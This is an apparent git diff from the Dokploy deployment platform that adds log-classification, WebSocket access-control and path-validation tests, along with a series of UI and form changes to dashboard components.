getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
|
||||
).toBe("error");
|
||||
expect(
|
||||
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
|
||||
).toBe("info");
|
||||
expect(getLogType("level=warn msg=careful").type).toBe("warning");
|
||||
});
|
||||
|
||||
test("declared level wins over keywords in the message (#4589, #1996)", () => {
|
||||
// "version"/"GET" in this pino line would otherwise match the debug keywords
|
||||
const pinoError =
|
||||
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
|
||||
expect(getLogType(pinoError).type).toBe("error");
|
||||
|
||||
// info line containing error-like keywords (#4589)
|
||||
expect(
|
||||
getLogType(
|
||||
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
|
||||
).type,
|
||||
).toBe("info");
|
||||
|
||||
// successful job summary with "failed: false, error: none" (#4538)
|
||||
expect(
|
||||
getLogType(
|
||||
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
|
||||
).type,
|
||||
).toBe("info");
|
||||
});
|
||||
|
||||
test("declared level wins over statusCode", () => {
|
||||
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
|
||||
});
|
||||
|
||||
test("unknown level names fall back to keyword detection", () => {
|
||||
expect(
|
||||
getLogType('{"level":"verbose","msg":"connection failed"}').type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("env-var-like text is not treated as logfmt level", () => {
|
||||
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("fallback detection for unstructured logs (unchanged)", () => {
|
||||
test("statusCode classification", () => {
|
||||
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
|
||||
});
|
||||
|
||||
test("keyword classification", () => {
|
||||
expect(getLogType("error: something broke").type).toBe("error");
|
||||
expect(getLogType("warning: disk almost full").type).toBe("warning");
|
||||
expect(getLogType("Server listening on port 8080").type).toBe("success");
|
||||
});
|
||||
|
||||
test("defaults to info", () => {
|
||||
expect(getLogType("hello world").type).toBe("info");
|
||||
});
|
||||
});
|
||||
});
|
||||
129
apps/dokploy/__test__/wss/authorize.test.ts
Normal file
129
apps/dokploy/__test__/wss/authorize.test.ts
Normal file
@ -0,0 +1,129 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock the permission + server helpers the wss authorizer composes.
|
||||
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||
const mockFindMember = vi.hoisted(() => vi.fn());
|
||||
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
hasPermission: mockHasPermission,
|
||||
findMemberByUserId: mockFindMember,
|
||||
checkServiceAccess: mockCheckServiceAccess,
|
||||
}));
|
||||
|
||||
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@dokploy/server", () => ({
|
||||
getAccessibleServerIds: mockGetAccessibleServerIds,
|
||||
}));
|
||||
|
||||
import {
|
||||
canAccessDockerOverWss,
|
||||
canAccessTerminalOverWss,
|
||||
} from "@/server/wss/authorize";
|
||||
|
||||
const USER = { id: "user-1" };
|
||||
const SESSION = { activeOrganizationId: "org-1" };
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("canAccessDockerOverWss", () => {
|
||||
it("denies when there is no user or session", async () => {
|
||||
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
|
||||
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
|
||||
});
|
||||
|
||||
it("denies a member without docker permission", async () => {
|
||||
mockHasPermission.mockResolvedValue(false);
|
||||
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
|
||||
});
|
||||
|
||||
it("allows when the caller has docker permission (no server)", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
|
||||
});
|
||||
|
||||
it("denies a remote server the caller cannot access, even with docker permission", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
|
||||
});
|
||||
|
||||
it("allows a remote server the caller can access", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||
});
|
||||
|
||||
it("denies when the container belongs to a service the caller cannot access", async () => {
|
||||
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
|
||||
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("allows service access even without docker permission or server access", async () => {
|
||||
// A member granted the service but without canAccessToDocker, whose
|
||||
// service runs on a server they were not individually granted, must still
|
||||
// read its logs — matches application.readLogs (service access only).
|
||||
mockHasPermission.mockResolvedValue(false);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set());
|
||||
mockCheckServiceAccess.mockResolvedValue(undefined);
|
||||
expect(
|
||||
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
|
||||
).toBe(true);
|
||||
// Service path is authoritative — it must not fall through to docker/server.
|
||||
expect(mockHasPermission).not.toHaveBeenCalled();
|
||||
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("canAccessTerminalOverWss", () => {
|
||||
it("denies the local host terminal to a plain member", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "member" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
|
||||
});
|
||||
|
||||
it("allows the local host terminal to an owner", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "owner" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||
});
|
||||
|
||||
it("allows the local host terminal to an admin", async () => {
|
||||
mockFindMember.mockResolvedValue({ role: "admin" });
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
|
||||
});
|
||||
|
||||
it("gates a remote server terminal on server access", async () => {
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
|
||||
// the remote path must never fall through to the owner/admin local branch
|
||||
expect(mockFindMember).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("denies a remote server terminal without the server.terminal permission", async () => {
|
||||
// Reaching a server (to deploy on it) must not imply a root shell on it.
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
mockHasPermission.mockResolvedValue(false);
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false);
|
||||
expect(mockHasPermission).toHaveBeenCalledWith(
|
||||
{ user: { id: USER.id }, session: { activeOrganizationId: "org-1" } },
|
||||
{ server: ["terminal"] },
|
||||
);
|
||||
});
|
||||
|
||||
it("allows a remote server terminal with the server.terminal permission", async () => {
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
|
||||
});
|
||||
|
||||
it("does not check permissions for a server the caller cannot access", async () => {
|
||||
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
|
||||
expect(mockHasPermission).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@ -78,4 +78,48 @@ describe("readValidDirectory (path traversal)", () => {
|
||||
it("returns false for empty string (resolves to cwd)", () => {
|
||||
expect(readValidDirectory("")).toBe(false);
|
||||
});
|
||||
|
||||
it("returns true for Next.js dynamic route paths with square brackets", () => {
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/app/api/[id]/route.ts`,
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(`${BASE}/applications/myapp/code/pages/[slug].tsx`),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/app/[...catch]/page.tsx`,
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("returns true for SvelteKit routes with + prefix and @ symbols", () => {
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/src/routes/+page.svelte`,
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/src/routes/+layout.svelte`,
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/src/routes/+server.ts`,
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/src/routes/+error.svelte`,
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
readValidDirectory(
|
||||
`${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`,
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@ -1,17 +1,22 @@
|
||||
{
|
||||
"$schema": "https://ui.shadcn.com/schema.json",
|
||||
"style": "default",
|
||||
"style": "radix-nova",
|
||||
"rsc": false,
|
||||
"tsx": true,
|
||||
"tailwind": {
|
||||
"config": "tailwind.config.ts",
|
||||
"config": "",
|
||||
"css": "styles/globals.css",
|
||||
"baseColor": "zinc",
|
||||
"baseColor": "neutral",
|
||||
"cssVariables": true,
|
||||
"prefix": ""
|
||||
},
|
||||
"aliases": {
|
||||
"components": "@/components",
|
||||
"utils": "@/lib/utils"
|
||||
}
|
||||
},
|
||||
"iconLibrary": "lucide",
|
||||
"rtl": false,
|
||||
"menuColor": "default",
|
||||
"menuAccent": "subtle",
|
||||
"registries": {}
|
||||
}
|
||||
|
||||
@ -156,7 +156,7 @@ export const AddSwarmSettings = ({ id, type }: Props) => {
|
||||
|
||||
<div className="flex gap-4 h-[60vh] py-4">
|
||||
{/* Left Column - Menu */}
|
||||
<div className="w-64 flex-shrink-0 border-r pr-4 overflow-y-auto">
|
||||
<div className="w-64 shrink-0 border-r pr-4 overflow-y-auto">
|
||||
<nav className="space-y-1">
|
||||
<TooltipProvider>
|
||||
{menuItems.map((item) => (
|
||||
|
||||
@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
|
||||
To use a cluster feature, you need to configure at least
|
||||
a registry first. Please, go to{" "}
|
||||
<Link
|
||||
href="/dashboard/settings/cluster"
|
||||
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||
className="text-foreground"
|
||||
>
|
||||
Settings
|
||||
|
||||
@ -16,12 +16,17 @@ import {
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const optionalNumber = z
|
||||
.union([z.string(), z.number()])
|
||||
.transform((val) => (val === "" ? undefined : Number(val)))
|
||||
.optional();
|
||||
|
||||
export const healthCheckFormSchema = z.object({
|
||||
Test: z.array(z.string()).optional(),
|
||||
Interval: z.coerce.number().optional(),
|
||||
Timeout: z.coerce.number().optional(),
|
||||
StartPeriod: z.coerce.number().optional(),
|
||||
Retries: z.coerce.number().optional(),
|
||||
Interval: optionalNumber,
|
||||
Timeout: optionalNumber,
|
||||
StartPeriod: optionalNumber,
|
||||
Retries: optionalNumber,
|
||||
});
|
||||
|
||||
interface HealthCheckFormProps {
|
||||
@ -195,7 +200,12 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
|
||||
Time between health checks (e.g., 10000000000 for 10 seconds)
|
||||
</FormDescription>
|
||||
<FormControl>
|
||||
<Input type="number" placeholder="10000000000" {...field} />
|
||||
<Input
|
||||
type="number"
|
||||
placeholder="10000000000"
|
||||
{...field}
|
||||
value={field.value ?? ""}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
@ -212,7 +222,12 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
|
||||
Maximum time to wait for health check response
|
||||
</FormDescription>
|
||||
<FormControl>
|
||||
<Input type="number" placeholder="10000000000" {...field} />
|
||||
<Input
|
||||
type="number"
|
||||
placeholder="10000000000"
|
||||
{...field}
|
||||
value={field.value ?? ""}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
@ -229,7 +244,12 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
|
||||
Initial grace period before health checks begin
|
||||
</FormDescription>
|
||||
<FormControl>
|
||||
<Input type="number" placeholder="10000000000" {...field} />
|
||||
<Input
|
||||
type="number"
|
||||
placeholder="10000000000"
|
||||
{...field}
|
||||
value={field.value ?? ""}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
@ -247,7 +267,12 @@ export const HealthCheckForm = ({ id, type }: HealthCheckFormProps) => {
|
||||
unhealthy
|
||||
</FormDescription>
|
||||
<FormControl>
|
||||
<Input type="number" placeholder="3" {...field} />
|
||||
<Input
|
||||
type="number"
|
||||
placeholder="3"
|
||||
{...field}
|
||||
value={field.value ?? ""}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
|
||||
@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</div>
|
||||
<Dialog open={showModal} onOpenChange={setShowModal}>
|
||||
<DialogContent className="max-w-[50vw]">
|
||||
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="text-2xl font-bold">
|
||||
Template Information
|
||||
@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<div className="flex flex-col gap-6">
|
||||
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-2">
|
||||
<Code2 className="h-5 w-5 text-primary" />
|
||||
@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
Docker Compose
|
||||
</h3>
|
||||
</div>
|
||||
<CodeEditor
|
||||
language="yaml"
|
||||
value={templateInfo?.compose || ""}
|
||||
className="font-mono"
|
||||
readOnly
|
||||
/>
|
||||
<div className="max-h-[45vh] overflow-auto rounded-md border">
|
||||
<CodeEditor
|
||||
language="yaml"
|
||||
value={templateInfo?.compose || ""}
|
||||
className="font-mono"
|
||||
readOnly
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Separator />
|
||||
@ -229,7 +231,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
(domain, index) => (
|
||||
<div
|
||||
key={index}
|
||||
className="rounded-lg border bg-card p-3 text-card-foreground shadow-sm"
|
||||
className="rounded-lg border bg-card p-3 text-card-foreground shadow-xs"
|
||||
>
|
||||
<div className="font-medium">
|
||||
{domain.serviceName}
|
||||
|
||||
@ -234,7 +234,7 @@ export const HandleRedirect = ({
|
||||
<FormItem>
|
||||
<FormLabel>Replacement</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="http://mydomain/$${1}" {...field} />
|
||||
<Input placeholder="http://mydomain/$1" {...field} />
|
||||
</FormControl>
|
||||
|
||||
<FormMessage />
|
||||
@ -246,7 +246,7 @@ export const HandleRedirect = ({
|
||||
control={form.control}
|
||||
name="permanent"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-sm">
|
||||
<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-xs">
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Permanent</FormLabel>
|
||||
<FormDescription>
|
||||
|
||||
@ -224,7 +224,7 @@ export const ShowResources = ({ id, type }: Props) => {
|
||||
<FormLabel>Memory Limit</FormLabel>
|
||||
<TooltipProvider>
|
||||
<Tooltip delayDuration={0}>
|
||||
<TooltipTrigger>
|
||||
<TooltipTrigger type="button">
|
||||
<InfoIcon className="h-4 w-4 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
@ -263,7 +263,7 @@ export const ShowResources = ({ id, type }: Props) => {
|
||||
<FormLabel>Memory Reservation</FormLabel>
|
||||
<TooltipProvider>
|
||||
<Tooltip delayDuration={0}>
|
||||
<TooltipTrigger>
|
||||
<TooltipTrigger type="button">
|
||||
<InfoIcon className="h-4 w-4 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
@ -303,7 +303,7 @@ export const ShowResources = ({ id, type }: Props) => {
|
||||
<FormLabel>CPU Limit</FormLabel>
|
||||
<TooltipProvider>
|
||||
<Tooltip delayDuration={0}>
|
||||
<TooltipTrigger>
|
||||
<TooltipTrigger type="button">
|
||||
<InfoIcon className="h-4 w-4 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
@ -343,7 +343,7 @@ export const ShowResources = ({ id, type }: Props) => {
|
||||
<FormLabel>CPU Reservation</FormLabel>
|
||||
<TooltipProvider>
|
||||
<Tooltip delayDuration={0}>
|
||||
<TooltipTrigger>
|
||||
<TooltipTrigger type="button">
|
||||
<InfoIcon className="h-4 w-4 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
@ -379,7 +379,7 @@ export const ShowResources = ({ id, type }: Props) => {
|
||||
<FormLabel className="text-base">Ulimits</FormLabel>
|
||||
<TooltipProvider>
|
||||
<Tooltip delayDuration={0}>
|
||||
<TooltipTrigger>
|
||||
<TooltipTrigger type="button">
|
||||
<InfoIcon className="h-4 w-4 text-muted-foreground" />
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-xs">
|
||||
|
||||
@ -53,7 +53,7 @@ export const ShowTraefikConfig = ({ applicationId }: Props) => {
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col pt-2 relative">
|
||||
<div className="flex flex-col gap-6 max-h-[35rem] min-h-[10rem] overflow-y-auto">
|
||||
<div className="flex flex-col gap-6 max-h-140 min-h-40 overflow-y-auto">
|
||||
<CodeEditor
|
||||
lineWrapping
|
||||
value={data || "Empty"}
|
||||
|
||||
@ -155,7 +155,7 @@ export const UpdateTraefikConfig = ({ applicationId }: Props) => {
|
||||
<FormControl>
|
||||
<CodeEditor
|
||||
lineWrapping
|
||||
wrapperClassName="h-[35rem] font-mono"
|
||||
wrapperClassName="h-140 font-mono"
|
||||
placeholder={`http:
|
||||
routers:
|
||||
router-name:
|
||||
|
||||
@ -220,7 +220,7 @@ export const AddVolumes = ({
|
||||
/>
|
||||
<Label
|
||||
htmlFor="bind"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
|
||||
>
|
||||
Bind Mount
|
||||
</Label>
|
||||
@ -240,7 +240,7 @@ export const AddVolumes = ({
|
||||
/>
|
||||
<Label
|
||||
htmlFor="volume"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
|
||||
>
|
||||
Volume Mount
|
||||
</Label>
|
||||
@ -264,7 +264,7 @@ export const AddVolumes = ({
|
||||
/>
|
||||
<Label
|
||||
htmlFor="file"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
|
||||
className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
|
||||
>
|
||||
File Mount
|
||||
</Label>
|
||||
@ -324,7 +324,7 @@ export const AddVolumes = ({
|
||||
control={form.control}
|
||||
name="content"
|
||||
render={({ field }) => (
|
||||
<FormItem className="max-w-full max-w-[45rem]">
|
||||
<FormItem className="max-w-full max-w-180">
|
||||
<FormLabel>Content</FormLabel>
|
||||
<FormControl>
|
||||
<FormControl>
|
||||
|
||||
@ -111,7 +111,7 @@ export const ShowVolumes = ({ id, type }: Props) => {
|
||||
{mount.type === "file" && (
|
||||
<div className="flex flex-col gap-1">
|
||||
<span className="font-medium">Content</span>
|
||||
<span className="text-sm text-muted-foreground line-clamp-[10] whitespace-break-spaces">
|
||||
<span className="text-sm text-muted-foreground line-clamp-10 whitespace-break-spaces">
|
||||
{mount.content}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
@ -253,7 +253,7 @@ export const UpdateVolume = ({
|
||||
control={form.control}
|
||||
name="content"
|
||||
render={({ field }) => (
|
||||
<FormItem className="w-full max-w-[45rem]">
|
||||
<FormItem className="w-full max-w-180">
|
||||
<FormLabel>Content</FormLabel>
|
||||
<FormControl>
|
||||
<FormControl>
|
||||
|
||||
@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.nixpacks),
|
||||
publishDirectory: z.string().optional(),
|
||||
isStaticSpa: z.boolean().default(false),
|
||||
}),
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.railpack),
|
||||
@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
|
||||
return {
|
||||
buildType: BuildType.nixpacks,
|
||||
publishDirectory: data.publishDirectory || undefined,
|
||||
isStaticSpa: data.isStaticSpa ?? false,
|
||||
};
|
||||
case BuildType.paketo_buildpacks:
|
||||
return {
|
||||
@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
|
||||
const buildType = form.watch("buildType");
|
||||
const railpackVersion = form.watch("railpackVersion");
|
||||
const publishDirectory = form.watch("publishDirectory");
|
||||
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
? data.herokuVersion
|
||||
: null,
|
||||
isStaticSpa:
|
||||
data.buildType === BuildType.static ? data.isStaticSpa : null,
|
||||
data.buildType === BuildType.static ||
|
||||
data.buildType === BuildType.nixpacks
|
||||
? data.isStaticSpa
|
||||
: null,
|
||||
railpackVersion:
|
||||
data.buildType === BuildType.railpack
|
||||
? data.railpackVersion || "0.15.4"
|
||||
@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.nixpacks && publishDirectory && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="isStaticSpa"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormControl>
|
||||
<div className="flex items-center gap-x-2 p-2">
|
||||
<Checkbox
|
||||
id="checkboxIsStaticSpaNixpacks"
|
||||
value={String(field.value)}
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
|
||||
Single Page Application (SPA)
|
||||
</FormLabel>
|
||||
</div>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.static && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
import copy from "copy-to-clipboard";
|
||||
import { Check, Copy, Loader2 } from "lucide-react";
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { AnalyzeLogs } from "@/components/dashboard/docker/logs/analyze-logs";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
@ -147,7 +148,7 @@ export const ShowDeployment = ({
|
||||
<DialogDescription className="flex items-center gap-2">
|
||||
<span className="flex items-center gap-2">
|
||||
See all the details of this deployment |{" "}
|
||||
<Badge variant="blank" className="text-xs">
|
||||
<Badge variant="blank" className="text-xs tabular-nums">
|
||||
{filteredLogs.length} lines
|
||||
</Badge>
|
||||
</span>
|
||||
@ -165,6 +166,7 @@ export const ShowDeployment = ({
|
||||
<Copy className="h-3.5 w-3.5" />
|
||||
)}
|
||||
</Button>
|
||||
<AnalyzeLogs logs={filteredLogs} context="build" />
|
||||
|
||||
{serverId && (
|
||||
<div className="flex items-center space-x-2">
|
||||
@ -189,7 +191,7 @@ export const ShowDeployment = ({
|
||||
<div
|
||||
ref={scrollRef}
|
||||
onScroll={handleScroll}
|
||||
className="h-[720px] overflow-y-auto space-y-0 border p-4 bg-[#fafafa] dark:bg-[#050506] rounded custom-logs-scrollbar"
|
||||
className="h-[720px] overflow-y-auto space-y-0 border p-4 bg-background rounded custom-logs-scrollbar"
|
||||
>
|
||||
{" "}
|
||||
{filteredLogs.length > 0 ? (
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user